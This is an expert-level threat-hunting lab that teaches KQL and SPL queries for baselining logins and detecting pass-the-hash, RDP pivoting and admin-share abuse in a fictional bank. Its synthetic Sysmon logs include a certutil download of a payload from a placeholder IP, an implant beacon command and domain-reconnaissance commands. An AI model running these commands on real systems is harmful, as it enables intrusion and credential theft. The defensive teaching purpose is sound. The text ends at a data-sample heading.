Lab 18: Threat Hunting with KQL & SPL¶
Difficulty: ⭐⭐⭐⭐ Expert | Duration: 4–5 hours | Chapters: Ch 5 (Detection Engineering), Ch 6 (SOC Operations), Ch 38 (Advanced Threat Hunting)
Overview¶
In this lab you will:
- Build behavioral baseline queries in both KQL (Kusto Query Language) and SPL (Splunk Processing Language)
- Hunt for lateral movement techniques including pass-the-hash, RDP pivoting, and SMB abuse
- Detect command-and-control beaconing using time-series analysis in both query languages
- Identify data exfiltration through DNS tunneling, large transfers, and encrypted channel abuse
- Write a structured threat hunt report with hypothesis, methodology, findings, and recommendations
Synthetic Data Only
All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) reserved ranges. All domains use *.example.com. All hashes are clearly labeled SYNTHETIC. No real malware, real hosts, or real threat actors are referenced.
Scenario¶
Threat Hunt Brief — Aegis Financial Group
Organization: Aegis Financial Group (fictional) Industry: Financial services — 2,500 employees across 4 offices Internal Network: 10.50.0.0/16 DMZ: 172.16.10.0/24 Domain: aegis.example.com SIEM Platforms: Microsoft Sentinel (KQL) + Splunk Enterprise (SPL) Threat Intel Feed: SYNTHETIC-TI-FEED (fictional) Hunt Authorization: Signed by CISO on 2026-03-18 Hunt Window: 2026-03-10 through 2026-03-17 (7-day retrospective)
Context: Aegis Financial Group's threat intelligence team received an advisory about SYNTHETIC-LEOPARD (fictional threat actor) targeting financial institutions with a multi-stage intrusion: initial access via spear-phishing, followed by credential theft, lateral movement, and slow data exfiltration over DNS. The SOC has been tasked with a proactive hunt across all log sources. No alerts have fired — this is a hypothesis-driven hunt.
Network Topology:
| Segment | Subnet | Description |
|---|---|---|
| Corporate Workstations | 10.50.1.0/24 | Employee endpoints (Windows 10/11) |
| Servers — Production | 10.50.10.0/24 | Domain controllers, file servers, databases |
| Servers — Development | 10.50.20.0/24 | Dev/test servers |
| Executive Suite | 10.50.50.0/24 | C-suite workstations (high-value targets) |
| DMZ | 172.16.10.0/24 | Web servers, email gateways |
| VPN Pool | 10.50.100.0/24 | Remote access VPN |
Key Assets:
| Hostname | IP | Role |
|---|---|---|
| DC01.aegis.example.com | 10.50.10.1 | Primary domain controller |
| DC02.aegis.example.com | 10.50.10.2 | Secondary domain controller |
| FS01.aegis.example.com | 10.50.10.10 | Primary file server |
| DB01.aegis.example.com | 10.50.10.20 | SQL Server (financial records) |
| WEB01.aegis.example.com | 172.16.10.5 | Public web server |
| MAIL01.aegis.example.com | 172.16.10.10 | Exchange server |
| WS-CFO-01 | 10.50.50.5 | CFO workstation |
| WS-HR-042 | 10.50.1.42 | HR analyst workstation (Patient Zero) |
Prerequisites¶
- Completion of Chapter 5 — Detection Engineering, Chapter 6 — SOC Operations, and Chapter 38 — Advanced Threat Hunting
- Access to one or both of the following (free tiers work):
- Microsoft Sentinel (KQL): Azure free trial with Log Analytics workspace
- Splunk (SPL): Splunk Free or Splunk Cloud trial
- Alternatively: use the queries as reference — all sample data is included inline
- Familiarity with Lab 2 — Detection Rule Tuning and Lab 10 — Threat Hunting
No SIEM? No Problem
You can complete this lab purely as a query-writing exercise using the inline sample data. Read each scenario, write your queries, and compare against the provided solutions. The learning value is in understanding query logic and hunt methodology.
Learning Objectives¶
By the end of this lab, you will be able to:
- [x] Write equivalent threat hunting queries in both KQL and SPL
- [x] Establish behavioral baselines and detect statistical anomalies
- [x] Hunt for lateral movement using authentication and network logs
- [x] Detect C2 beaconing through time-series analysis and jitter calculation
- [x] Identify data exfiltration via DNS tunneling and volume anomalies
- [x] Structure a formal threat hunt report from hypothesis to recommendations
- [x] Map hunt findings to MITRE ATT&CK techniques
Lab Setup (20 min)¶
Log Source Inventory¶
This lab uses the following synthetic log sources. Each exercise provides inline sample data.
| Log Source | KQL Table | Splunk Index/Sourcetype | Record Count |
|---|---|---|---|
| Windows Security Events | SecurityEvent | index=wineventlog sourcetype=WinEventLog:Security | ~85,000 |
| Sysmon (Process Creation) | SysmonEvent | index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | ~120,000 |
| Network Flows | NetworkCommunicationEvents | index=netflow sourcetype=netflow | ~500,000 |
| DNS Queries | DnsEvents | index=dns sourcetype=dns | ~2,000,000 |
| Proxy/HTTP Logs | CommonSecurityLog | index=proxy sourcetype=bluecoat | ~300,000 |
| Authentication (AAD) | SigninLogs | index=azure sourcetype=azure:aad:signin | ~45,000 |
| Firewall Logs | CommonSecurityLog | index=firewall sourcetype=pan:traffic | ~800,000 |
Query Conventions¶
Throughout this lab, queries are presented in both languages:
Query Compatibility
KQL and SPL have different syntax but express the same logic. This lab teaches you to think in both. Where one language has a unique strength (e.g., KQL's make-series or SPL's tstats), we highlight it.
Exercise 1 — Baseline Hunting: Normal vs Anomalous (45 min)¶
Objective¶
Establish behavioral baselines for user authentication and process execution at Aegis Financial Group, then write queries that surface statistical deviations indicating potential compromise.
Scenario Context¶
Hunt Hypothesis 1
Hypothesis: If SYNTHETIC-LEOPARD gained access to an employee account, authentication patterns (login times, source IPs, failure rates) will deviate from the user's 30-day baseline.
MITRE ATT&CK: T1078 (Valid Accounts), T1078.002 (Domain Accounts)
Data Sources: Windows Security Event Log (Event IDs 4624, 4625), Azure AD Sign-in Logs
Sample Data — Authentication Events¶
Below is a representative sample of authentication events for the hunt window. In a real SIEM, you would query the full dataset.
{"TimeGenerated": "2026-03-10T08:15:23Z", "EventID": 4624, "Account": "AEGIS\\jdoe", "LogonType": 10, "SourceIP": "10.50.1.15", "WorkstationName": "WS-FIN-015", "Status": "Success"}
{"TimeGenerated": "2026-03-10T08:17:45Z", "EventID": 4624, "Account": "AEGIS\\mchen", "LogonType": 2, "SourceIP": "10.50.1.22", "WorkstationName": "WS-MKT-022", "Status": "Success"}
{"TimeGenerated": "2026-03-10T08:22:01Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.1.42", "WorkstationName": "WS-HR-042", "Status": "Success"}
{"TimeGenerated": "2026-03-10T22:47:33Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.20.5", "WorkstationName": "DEV-BUILD-05", "Status": "Success"}
{"TimeGenerated": "2026-03-11T02:14:18Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:19Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:20Z", "EventID": 4625, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-11T02:14:21Z", "EventID": 4624, "Account": "AEGIS\\svc-backup", "LogonType": 3, "SourceIP": "10.50.10.10", "WorkstationName": "FS01", "Status": "Success"}
{"TimeGenerated": "2026-03-12T03:33:42Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 3, "SourceIP": "192.0.2.41", "WorkstationName": "UNKNOWN", "Status": "Success"}
{"TimeGenerated": "2026-03-12T03:34:11Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 10, "SourceIP": "10.50.50.5", "WorkstationName": "WS-CFO-01", "Status": "Success"}
{"TimeGenerated": "2026-03-13T01:22:07Z", "EventID": 4624, "Account": "AEGIS\\admin-kpatel", "LogonType": 3, "SourceIP": "10.50.1.42", "WorkstationName": "WS-HR-042", "Status": "Success"}
{"TimeGenerated": "2026-03-14T08:30:00Z", "EventID": 4624, "Account": "AEGIS\\jdoe", "LogonType": 2, "SourceIP": "10.50.1.15", "WorkstationName": "WS-FIN-015", "Status": "Success"}
{"TimeGenerated": "2026-03-14T19:45:33Z", "EventID": 4624, "Account": "AEGIS\\kpatel", "LogonType": 3, "SourceIP": "10.50.10.20", "WorkstationName": "DB01", "Status": "Success"}
{"TimeGenerated": "2026-03-15T04:12:55Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-15T04:12:57Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}
{"TimeGenerated": "2026-03-15T04:12:59Z", "EventID": 4625, "Account": "AEGIS\\administrator", "LogonType": 10, "SourceIP": "198.51.100.22", "WorkstationName": "UNKNOWN", "Status": "0xC000006D"}
Step 1: Identify Off-Hours Logins¶
Users at Aegis Financial typically work 07:00–19:00 local time. Logins outside this window are suspicious.
// Exercise 1.1 — Off-hours authentication events (last 7 days)
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType in (2, 10) // Interactive and RemoteInteractive
| extend HourOfDay = hourofday(TimeGenerated)
| where HourOfDay < 7 or HourOfDay >= 19
| summarize
OffHoursLogins = count(),
DistinctSources = dcount(IpAddress),
EarliestLogin = min(TimeGenerated),
LatestLogin = max(TimeGenerated),
SourceIPs = make_set(IpAddress, 10)
by Account
| where OffHoursLogins > 2
| order by OffHoursLogins desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
LogonType IN (2, 10)
earliest=-7d latest=now
| eval HourOfDay=strftime(_time, "%H")
| where HourOfDay < 7 OR HourOfDay >= 19
| stats count AS OffHoursLogins,
dc(Source_Network_Address) AS DistinctSources,
earliest(_time) AS EarliestLogin,
latest(_time) AS LatestLogin,
values(Source_Network_Address) AS SourceIPs
by Account_Name
| where OffHoursLogins > 2
| sort -OffHoursLogins
| convert ctime(EarliestLogin) ctime(LatestLogin)
Expected Results:
| Account | OffHoursLogins | DistinctSources | Analysis |
|---|---|---|---|
| AEGIS\kpatel | 4 | 3 | SUSPICIOUS — logins at 22:47, 03:33, 01:22, 19:45 from multiple sources including dev servers and the CFO workstation |
| AEGIS\svc-backup | 1 | 1 | Likely normal — service accounts may run off-hours |
Step 2: Login Source Anomaly Detection¶
Compare each user's login sources during the hunt window against their 30-day baseline.
// Exercise 1.2 — New login sources not seen in 30-day baseline
let baseline_period = ago(37d); // 30 days before hunt window
let hunt_start = ago(7d);
// Build baseline: known source IPs per account
let baseline = SecurityEvent
| where TimeGenerated between (baseline_period .. hunt_start)
| where EventID == 4624
| where LogonType in (2, 3, 10)
| summarize BaselineSources = make_set(IpAddress) by Account;
// Hunt window: find new sources
SecurityEvent
| where TimeGenerated > hunt_start
| where EventID == 4624
| where LogonType in (2, 3, 10)
| join kind=leftouter baseline on Account
| extend IsNewSource = iff(IpAddress !in (BaselineSources), true, false)
| where IsNewSource == true
| summarize
NewSourceCount = dcount(IpAddress),
NewSources = make_set(IpAddress, 20),
LoginCount = count(),
Workstations = make_set(Computer, 10)
by Account
| where NewSourceCount > 0
| order by NewSourceCount desc
// Step A: Build the 30-day baseline of known source IPs per account
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
LogonType IN (2, 3, 10)
earliest=-37d latest=-7d
| stats values(Source_Network_Address) AS BaselineSources by Account_Name
| outputlookup baseline_sources.csv
// Step B: Find new sources in the hunt window
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
LogonType IN (2, 3, 10)
earliest=-7d latest=now
| lookup baseline_sources.csv Account_Name OUTPUT BaselineSources
| where NOT match(BaselineSources, Source_Network_Address)
| stats dc(Source_Network_Address) AS NewSourceCount,
values(Source_Network_Address) AS NewSources,
count AS LoginCount,
values(ComputerName) AS Workstations
by Account_Name
| where NewSourceCount > 0
| sort -NewSourceCount
Expected Results:
| Account | NewSources | Analysis |
|---|---|---|
| AEGIS\kpatel | 192.0.2.41, 10.50.20.5, 10.50.50.5, 10.50.10.20 | HIGH RISK — External IP (192.0.2.41), dev server, CFO workstation, and database server are all new sources for this HR user |
| AEGIS\administrator | 198.51.100.22 | CRITICAL — External IP attempting admin logon (failed attempts from unknown source) |
Step 3: Process Execution Anomalies¶
Hunt for unusual process execution patterns — processes that rarely run on a host suddenly appearing.
// Exercise 1.3 — Rare process execution (processes seen < 3 times in 30 days)
let hunt_start = ago(7d);
let rare_threshold = 3;
// Baseline: process frequency per host
let process_baseline = SysmonEvent
| where TimeGenerated between (ago(37d) .. hunt_start)
| where EventID == 1 // Process creation
| summarize BaselineCount = count() by Computer, FileName = tostring(split(Image, "\\")[-1]);
// Hunt: find processes below threshold or never seen
SysmonEvent
| where TimeGenerated > hunt_start
| where EventID == 1
| extend FileName = tostring(split(Image, "\\")[-1])
| join kind=leftouter process_baseline on Computer, FileName
| extend BaselineCount = coalesce(BaselineCount, 0)
| where BaselineCount < rare_threshold
| project
TimeGenerated,
Computer,
User,
FileName,
CommandLine,
ParentImage,
BaselineCount
| order by TimeGenerated asc
// Rare process detection — processes with fewer than 3 baseline executions
index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
EventCode=1 earliest=-7d latest=now
| rex field=Image "(?<FileName>[^\\\\]+)$"
| join type=left Computer FileName
[search index=sysmon sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
EventCode=1 earliest=-37d latest=-7d
| rex field=Image "(?<FileName>[^\\\\]+)$"
| stats count AS BaselineCount by Computer FileName]
| fillnull value=0 BaselineCount
| where BaselineCount < 3
| table _time Computer User FileName CommandLine ParentImage BaselineCount
| sort _time
Sample Data — Sysmon Process Creation Events¶
{"TimeGenerated": "2026-03-12T03:30:15Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "cmd.exe /c whoami /all", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A1"}
{"TimeGenerated": "2026-03-12T03:30:44Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\nltest.exe", "CommandLine": "nltest /dclist:aegis.example.com", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A2"}
{"TimeGenerated": "2026-03-12T03:31:02Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net group \"Domain Admins\" /domain", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A3"}
{"TimeGenerated": "2026-03-12T03:32:18Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Users\\kpatel\\AppData\\Local\\Temp\\svcupdate.exe", "CommandLine": "svcupdate.exe -connect 192.0.2.41 -port 443 -interval 60", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000FF"}
{"TimeGenerated": "2026-03-13T01:20:33Z", "EventID": 1, "Computer": "WS-HR-042", "User": "AEGIS\\kpatel", "Image": "C:\\Windows\\System32\\certutil.exe", "CommandLine": "certutil -urlcache -split -f http://203.0.113.50/update.bin C:\\Users\\kpatel\\AppData\\Local\\Temp\\update.bin", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000A4"}
{"TimeGenerated": "2026-03-14T08:05:00Z", "EventID": 1, "Computer": "WS-FIN-015", "User": "AEGIS\\jdoe", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", "CommandLine": "\"EXCEL.EXE\" \"C:\\Users\\jdoe\\Documents\\Q1_Report.xlsx\"", "ParentImage": "C:\\Windows\\explorer.exe", "Hashes": "SHA256=SYNTHETIC0000000000000000000000000000000000000000000000000000B1"}
Expected Findings:
Suspicious Process Chain on WS-HR-042
The user AEGIS\kpatel on WS-HR-042 executed a reconnaissance chain:
cmd.exespawned from Outlook (macro/link execution — T1204.002)whoami /all— account discovery (T1033)nltest /dclist:— domain controller enumeration (T1018)net group "Domain Admins"— admin group discovery (T1069.002)svcupdate.exefrom Temp — likely C2 implant (T1059)certutil -urlcache— file download via LOLBin (T1105)
Verdict: This is a textbook post-exploitation reconnaissance sequence. Escalate immediately.
Challenge Questions — Exercise 1¶
Challenge 1.1
Q: Why is LogonType 10 (RemoteInteractive/RDP) more significant than LogonType 3 (Network) for off-hours analysis?
A: LogonType 10 indicates a human sitting at an RDP session, which implies active keyboard-on-keyboard interaction. LogonType 3 is common for automated processes, mapped drives, and service authentication. An off-hours RDP session from an unusual source is a much stronger indicator of hands-on-keyboard adversary activity.
Challenge 1.2
Q: The svc-backup account had 3 failed logins followed by a success at 02:14 UTC. Is this malicious?
A: Likely benign. Service accounts often have retry logic. However, you should verify: (1) the source IP 10.50.10.10 is FS01, which is expected for a backup service, (2) the timing matches a known backup schedule, and (3) there are no other anomalies associated with this account. Document it as a known false positive pattern.
Challenge 1.3
Q: Write a KQL query that calculates a z-score for each user's daily login count compared to their 30-day average. Flag users with z > 3.
A:
let baseline = SecurityEvent
| where TimeGenerated between (ago(37d) .. ago(7d))
| where EventID == 4624
| summarize DailyLogins = count() by Account, Day = bin(TimeGenerated, 1d)
| summarize AvgDaily = avg(DailyLogins), StdDaily = stdev(DailyLogins) by Account;
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| summarize DailyLogins = count() by Account, Day = bin(TimeGenerated, 1d)
| join kind=inner baseline on Account
| extend ZScore = iff(StdDaily > 0, (DailyLogins - AvgDaily) / StdDaily, 0.0)
| where ZScore > 3
| project Day, Account, DailyLogins, AvgDaily, StdDaily, ZScore
| order by ZScore desc
Exercise 2 — Lateral Movement Detection (60 min)¶
Objective¶
Hunt for lateral movement techniques across the Aegis Financial network, including pass-the-hash, RDP pivoting, and SMB-based movement.
Scenario Context¶
Hunt Hypothesis 2
Hypothesis: After compromising the HR workstation (WS-HR-042), the adversary used stolen credentials to move laterally to high-value targets (domain controllers, executive workstations, database servers).
MITRE ATT&CK: T1550.002 (Pass the Hash), T1021.001 (Remote Desktop Protocol), T1021.002 (SMB/Windows Admin Shares), T1047 (WMI)
Data Sources: Windows Security Events (4624, 4648, 4672), Sysmon (Event 3 — Network Connection), Firewall Logs
Sample Data — Lateral Movement Indicators¶
{"TimeGenerated": "2026-03-12T03:45:22Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\kpatel", "SourceIP": "10.50.1.42", "TargetHost": "DC01.aegis.example.com", "AuthPackage": "NTLM", "LogonProcess": "NtLmSsp", "KeyLength": 0}
{"TimeGenerated": "2026-03-12T03:45:23Z", "EventID": 4672, "Account": "AEGIS\\kpatel", "Privileges": "SeDebugPrivilege, SeTcbPrivilege, SeBackupPrivilege", "TargetHost": "DC01.aegis.example.com"}
{"TimeGenerated": "2026-03-12T03:48:55Z", "EventID": 4648, "Account": "AEGIS\\kpatel", "TargetAccount": "AEGIS\\admin-kpatel", "TargetHost": "DC01.aegis.example.com", "SourceIP": "10.50.1.42", "Process": "C:\\Windows\\System32\\runas.exe"}
{"TimeGenerated": "2026-03-12T04:10:33Z", "EventID": 4624, "LogonType": 10, "Account": "AEGIS\\admin-kpatel", "SourceIP": "10.50.1.42", "TargetHost": "WS-CFO-01", "AuthPackage": "Negotiate"}
{"TimeGenerated": "2026-03-12T04:11:02Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\kpatel", "SourceIP": "10.50.50.5", "TargetHost": "FS01.aegis.example.com", "AuthPackage": "NTLM", "KeyLength": 0}
{"TimeGenerated": "2026-03-12T04:15:44Z", "EventID": 4624, "LogonType": 3, "Account": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "TargetHost": "DB01.aegis.example.com", "AuthPackage": "NTLM", "KeyLength": 0}
{"TimeGenerated": "2026-03-14T19:42:18Z", "EventID": 3, "Computer": "WS-CFO-01", "User": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "SourcePort": 49721, "DestIP": "10.50.10.20", "DestPort": 445, "Protocol": "tcp"}
{"TimeGenerated": "2026-03-14T19:42:19Z", "EventID": 3, "Computer": "WS-CFO-01", "User": "AEGIS\\admin-kpatel", "SourceIP": "10.50.50.5", "SourcePort": 49722, "DestIP": "10.50.10.20", "DestPort": 135, "Protocol": "tcp"}
Step 1: Pass-the-Hash Detection¶
Pass-the-hash attacks use NTLM authentication with a KeyLength of 0 and LogonType 3. Legitimate Kerberos authentication will show KeyLength of 128 or 256.
// Exercise 2.1 — Pass-the-Hash indicators
// Key indicators: NTLM auth + KeyLength 0 + LogonType 3 + non-service account
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where LogonProcessName == "NtLmSsp"
| where KeyLength == 0
// Exclude machine accounts and known service accounts
| where Account !endswith "$"
| where Account !startswith "svc-"
| summarize
PtHAttempts = count(),
TargetHosts = make_set(Computer, 20),
TargetHostCount = dcount(Computer),
SourceIPs = make_set(IpAddress, 10),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by Account
| where TargetHostCount > 1 // Moving to multiple hosts = lateral movement
| order by TargetHostCount desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
Logon_Type=3
Authentication_Package=NTLM
Logon_Process=NtLmSsp
Key_Length=0
earliest=-7d latest=now
| where NOT match(Account_Name, "\$$")
| where NOT match(Account_Name, "^svc-")
| stats count AS PtHAttempts,
values(ComputerName) AS TargetHosts,
dc(ComputerName) AS TargetHostCount,
values(Source_Network_Address) AS SourceIPs,
earliest(_time) AS FirstSeen,
latest(_time) AS LastSeen
by Account_Name
| where TargetHostCount > 1
| sort -TargetHostCount
| convert ctime(FirstSeen) ctime(LastSeen)
Expected Results:
| Account | PtHAttempts | TargetHosts | SourceIPs | Analysis |
|---|---|---|---|---|
| AEGIS\kpatel | 3 | DC01, FS01, DB01 | 10.50.1.42, 10.50.50.5 | CONFIRMED PtH — HR user authenticating to DC, file server, and DB via NTLM with KeyLength=0 from workstation AND CFO machine |
Step 2: RDP Lateral Movement Chain¶
Track RDP sessions that chain from one host to another (pivot detection).
// Exercise 2.2 — RDP pivot chain detection
// Find users who RDP to host A, then RDP FROM host A to host B
let rdp_sessions = SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where LogonType == 10 // RemoteInteractive = RDP
| project
TimeGenerated,
Account,
SourceIP = IpAddress,
TargetHost = Computer;
// Self-join: find cases where a target becomes a source
rdp_sessions
| join kind=inner (
rdp_sessions
| project
TimeGenerated2 = TimeGenerated,
Account,
SourceIP2 = SourceIP,
TargetHost2 = TargetHost
) on Account
// The source of the second hop must be in the same subnet as the first target
| where TargetHost != TargetHost2
| where TimeGenerated2 > TimeGenerated
| where datetime_diff('hour', TimeGenerated2, TimeGenerated) < 24
| project
Account,
Hop1_Time = TimeGenerated,
Hop1_Source = SourceIP,
Hop1_Target = TargetHost,
Hop2_Time = TimeGenerated2,
Hop2_Source = SourceIP2,
Hop2_Target = TargetHost2
| order by Account, Hop1_Time asc
// RDP pivot chain — find users who hop through intermediate hosts
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
Logon_Type=10
earliest=-7d latest=now
| table _time Account_Name Source_Network_Address ComputerName
| rename _time AS Hop1_Time, Source_Network_Address AS Hop1_Source,
ComputerName AS Hop1_Target
| join type=inner Account_Name
[search index=wineventlog sourcetype=WinEventLog:Security
EventCode=4624 Logon_Type=10
earliest=-7d latest=now
| table _time Account_Name Source_Network_Address ComputerName
| rename _time AS Hop2_Time, Source_Network_Address AS Hop2_Source,
ComputerName AS Hop2_Target]
| where Hop1_Target != Hop2_Target
| where Hop2_Time > Hop1_Time
| eval TimeDelta_hours = round((Hop2_Time - Hop1_Time) / 3600, 2)
| where TimeDelta_hours < 24
| table Account_Name Hop1_Time Hop1_Source Hop1_Target
Hop2_Time Hop2_Source Hop2_Target TimeDelta_hours
| sort Account_Name Hop1_Time
Expected Results:
Account: AEGIS\admin-kpatel
Hop 1: 10.50.1.42 → WS-CFO-01 (2026-03-12T04:10:33Z)
Hop 2: 10.50.50.5 → DB01 (2026-03-14T19:42:18Z)
Pivot Chain Detected
The adversary moved: WS-HR-042 → WS-CFO-01 → DB01. This is a classic two-hop pivot through a high-value executive workstation to reach the financial database.
Step 3: SMB Lateral Movement & Admin Shares¶
Detect access to administrative shares (C$, ADMIN$, IPC$) from non-admin workstations.
// Exercise 2.3 — Administrative share access from workstations
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 5140 // Network share accessed
| where ShareName in ("\\\\*\\C$", "\\\\*\\ADMIN$", "\\\\*\\IPC$")
| where IpAddress startswith "10.50.1." // From workstation subnet
or IpAddress startswith "10.50.50." // or executive subnet
| summarize
AccessCount = count(),
SharesAccessed = make_set(ShareName),
TargetHosts = make_set(Computer, 10),
DistinctTargets = dcount(Computer)
by Account, IpAddress
| where DistinctTargets > 1
| order by DistinctTargets desc
index=wineventlog sourcetype=WinEventLog:Security EventCode=5140
(Share_Name="\\\\*\\C$" OR Share_Name="\\\\*\\ADMIN$"
OR Share_Name="\\\\*\\IPC$")
(Source_Network_Address="10.50.1.*" OR Source_Network_Address="10.50.50.*")
earliest=-7d latest=now
| stats count AS AccessCount,
values(Share_Name) AS SharesAccessed,
values(ComputerName) AS TargetHosts,
dc(ComputerName) AS DistinctTargets
by Account_Name Source_Network_Address
| where DistinctTargets > 1
| sort -DistinctTargets
Step 4: Privilege Escalation via Explicit Credentials¶
Detect the use of runas or explicit credential logon (Event 4648) which indicates credential switching.
// Exercise 2.4 — Explicit credential usage (runas, credential theft)
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4648 // Logon with explicit credentials
| where TargetAccount != Account // Using a DIFFERENT account's creds
| project
TimeGenerated,
SourceAccount = Account,
TargetAccount,
TargetHost = TargetServerName,
SourceIP = IpAddress,
ProcessName
| order by TimeGenerated asc
index=wineventlog sourcetype=WinEventLog:Security EventCode=4648
earliest=-7d latest=now
| where Account_Name != Target_Account_Name
| table _time Account_Name Target_Account_Name Target_Server_Name
Source_Network_Address Process_Name
| rename Account_Name AS SourceAccount,
Target_Account_Name AS TargetAccount,
Target_Server_Name AS TargetHost,
Source_Network_Address AS SourceIP,
Process_Name AS ProcessName
| sort _time
Expected Results:
| Time | SourceAccount | TargetAccount | TargetHost | Process | Analysis |
|---|---|---|---|---|---|
| 2026-03-12T03:48:55Z | AEGIS\kpatel | AEGIS\admin-kpatel | DC01 | runas.exe | SUSPICIOUS — standard user leveraging admin credentials to access DC |
Lateral Movement Summary — Exercise 2
Attack Path Reconstructed:
WS-HR-042 (10.50.1.42) — initial compromise
│
├── PtH → DC01 (10.50.10.1) — NTLM, KeyLength=0
├── runas → admin-kpatel credentials obtained
│
├── RDP → WS-CFO-01 (10.50.50.5) — pivot to exec subnet
│ │
│ ├── SMB (445) → DB01 (10.50.10.20)
│ └── RPC (135) → DB01 (10.50.10.20)
│
└── PtH → FS01 (10.50.10.10) — file server access
ATT&CK Mapping: T1550.002, T1021.001, T1021.002, T1047, T1078.002
Challenge Questions — Exercise 2¶
Challenge 2.1
Q: Why does KeyLength == 0 indicate pass-the-hash rather than legitimate NTLM authentication?
A: When a legitimate NTLM authentication occurs, Windows negotiates a session key (typically 128-bit). In a pass-the-hash attack, the attacker directly uses the NTLM hash rather than the plaintext password, which bypasses the normal session key negotiation. This results in a KeyLength of 0 in the Event 4624 log. Note: some legitimate scenarios (e.g., anonymous logons) also produce KeyLength=0, so always correlate with other indicators.
Challenge 2.2
Q: Write an SPL query that builds a graph of all host-to-host lateral movement and identifies the most "connected" host (highest degree centrality).
A:
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
Logon_Type IN (3, 10)
earliest=-7d latest=now
| where NOT match(Account_Name, "\$$")
| stats count AS Connections by Source_Network_Address ComputerName
| rename Source_Network_Address AS Source, ComputerName AS Destination
| append
[| inputlookup lateral_movement_graph.csv]
| stats sum(Connections) AS TotalConnections by Source
| sort -TotalConnections
| head 10
Challenge 2.3
Q: An HR analyst legitimately needs to access the file server. How would you differentiate AEGIS\kpatel's normal FS01 access from the malicious access observed?
A: Check multiple factors: (1) Time of access — the malicious access occurred at 04:11 UTC (off-hours), (2) Source host — normal access comes from WS-HR-042, but this came from WS-CFO-01, (3) Authentication method — legitimate access would likely use Kerberos, not NTLM with KeyLength=0, (4) Shares accessed — legitimate access uses mapped file shares, not C$ or ADMIN$, (5) Volume — check if large data transfers followed.
Exercise 3 — C2 Beacon Detection (60 min)¶
Objective¶
Identify command-and-control (C2) beaconing in network flow data and DNS logs using time-series analysis, jitter detection, and frequency analysis.
Scenario Context¶
Hunt Hypothesis 3
Hypothesis: The implant svcupdate.exe on WS-HR-042 communicates with a C2 server at regular intervals. The beaconing may use HTTP/HTTPS callbacks or DNS-based channels. The adversary likely introduced jitter (randomized delay) to evade fixed-interval detection.
MITRE ATT&CK: T1071.001 (Web Protocols), T1071.004 (DNS), T1573.002 (Asymmetric Cryptography), T1132.001 (Standard Encoding)
Data Sources: Network Flows, DNS Queries, Proxy/HTTP Logs
Sample Data — Network Flow Records (HTTP/S Beaconing)¶
